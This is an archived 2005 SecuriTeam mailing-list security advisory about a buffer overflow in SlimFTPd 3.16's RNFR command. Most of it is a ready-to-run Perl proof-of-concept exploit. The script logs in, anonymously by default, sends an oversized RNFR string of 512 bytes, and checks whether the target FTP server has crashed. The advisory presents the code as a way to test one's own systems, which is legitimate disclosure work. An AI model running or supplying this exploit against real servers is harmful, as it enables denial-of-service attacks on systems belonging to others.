[EXPL] SlimFTPd RNFR Buffer Overflow (Exploit)

SecuriTeam <[email protected]> 25 Jul 2005 18:34:30 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SlimFTPd RNFR Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.whitsoftdev.com/slimftpd/> SlimFTPd is a fully 
standards-compliant FTP server implementation with an advanced virtual 
file system."

Due to lack of proper length checking routines in SlimFTPd, attackers are 
able to to execute arbitrary code by overflowing a buffer the program 
uses. The following exploit code can be used to test your system for the 
mentioned vulnerabilities.

DETAILS

Vulnerable Systems:
 * SlimFTPd version 3.16

Immune Systems:
 * SlimFTPd version 3.17

Exploit:
#!/usr/bin/perl

# --------------------------------------------------- #
# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #
# version 3.16 #
# bug found by ml-bugtraq at twilight-hall.net #
# #
# coded by k0r0l from acolytez team #
# visit http://acolytez.com for details #
# --------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {
        
        # make exploit string
        $exploit_string = "RNFR ";
        $exploit_string .= "X"x512;
        # ===================
        
        print "Trying to connect to $host:$port\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug 
=> $debug) or die "[-] Connection failed\n";
        print "[+] Connect OK!\n";
        print "Logging...\n";
        if (!$user) {
                $user = "anonymous";
                $pass = "[email protected]";
        }
        $sock->login($user, $pass);
        $answer = $sock->message;
        print "Sending string...\n";
        $sock->quot($exploit_string);
        print "Server $host may be down. Checking...\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug 
=> $debug) or die "[-] Connection failed\n";
        if ($sock) {print "[-] Exploit failed.\n";} else {print "[+] 
Server crashed!\n";}
} else {
        print "SlimFTPd Server - PoC 
Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password 
[debug: 1 or 0]\n\n";
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Dim K0r0l.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.